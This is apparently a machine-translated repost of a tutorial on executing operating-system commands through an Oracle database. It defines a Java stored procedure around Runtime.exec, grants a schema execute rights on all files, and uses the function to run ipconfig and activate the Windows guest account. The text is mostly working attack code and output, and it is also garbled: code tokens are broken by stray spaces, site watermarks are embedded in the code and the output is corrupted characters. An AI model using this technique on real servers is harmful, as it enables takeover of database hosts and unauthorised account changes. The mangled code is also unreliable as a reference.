Environment for successful oracle Command Execution test: windows XP + oracle 10g, windows 2008 R2 + 11g code is as follows: www.2cto.com SQL code create or replace and compile Java Source named "OSCommand" as -- java: OS COMMAND import java. io. *; import java. lang. *; public class OSCommand {public static String Run (String Command) {Runtime rt = Runtime. getRuntime (); int rc =-1; try {Process p = rt.exe c (Command); int bufSize = 32000; int len = 0; byte buf Fer [] = new byte [bufSize]; String s = null; BufferedInputStream bis = new BufferedInputStream (p. getInputStream (), bufSize); len = bis. read (buffer, 0, bufSize); rc = p. waitFor (); if (len! =-1) {s = new String (buffer, 0, len); return (s);} return (rc + "") ;}www.2cto.com catch (Exception e) {e. printStackTrace (); return ("-1 \ ncommand [" + Command + "] \ n" + e. getMessage () ;}}/ show errors create or replace function OSexec (cCommand IN string) return varchar2 is -- function: OS EXEC -- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc -- language JAVA name 'oscommand. Run (java. lang. string) return java. lang. string ';/www.2cto.com show errors -- sysdba. substitute SCOTT with the applicable schema that owns the OSEXEC -- and OSCOMMAND stored procs. declare SCHEMA varchar2 (30): = 'Scott '; begin dbms_java.grant_permission (SCHEMA, 'sys: java. io. filePermission ',' <all files> ', 'execute'); dbms_java.grant_permission (SCHEMA, 'sys: java. lang. runtimePermission ', 'writ EFileDescriptor ',' * '); dbms_java.grant_permission (SCHEMA, 'sys: java. lang. runtimePermission ', 'readfilescriptor', '*'); commit; end;/www.2cto.com -- View local connection information SQL> select OSexec ('ipconfig') as STDOUT from dual; STDOUT -------------------------------------------------------------------------------- Windows IP ???? ??????????? ???? L ?? 3: www.2cto.com l ??????? DNS ??? .......:???? T ?? IPv6 ???. ...: *************** IPv4 ??? ......: 192.168.100.100 ???????? ......: 255.255.255.0 ??????. ............: 0.0.0.0 -- activate guest Account SQL> select OSexec('cmd.exe/c net user guest/active: Yes') as STDOUT from dual; STDOUT defaults 0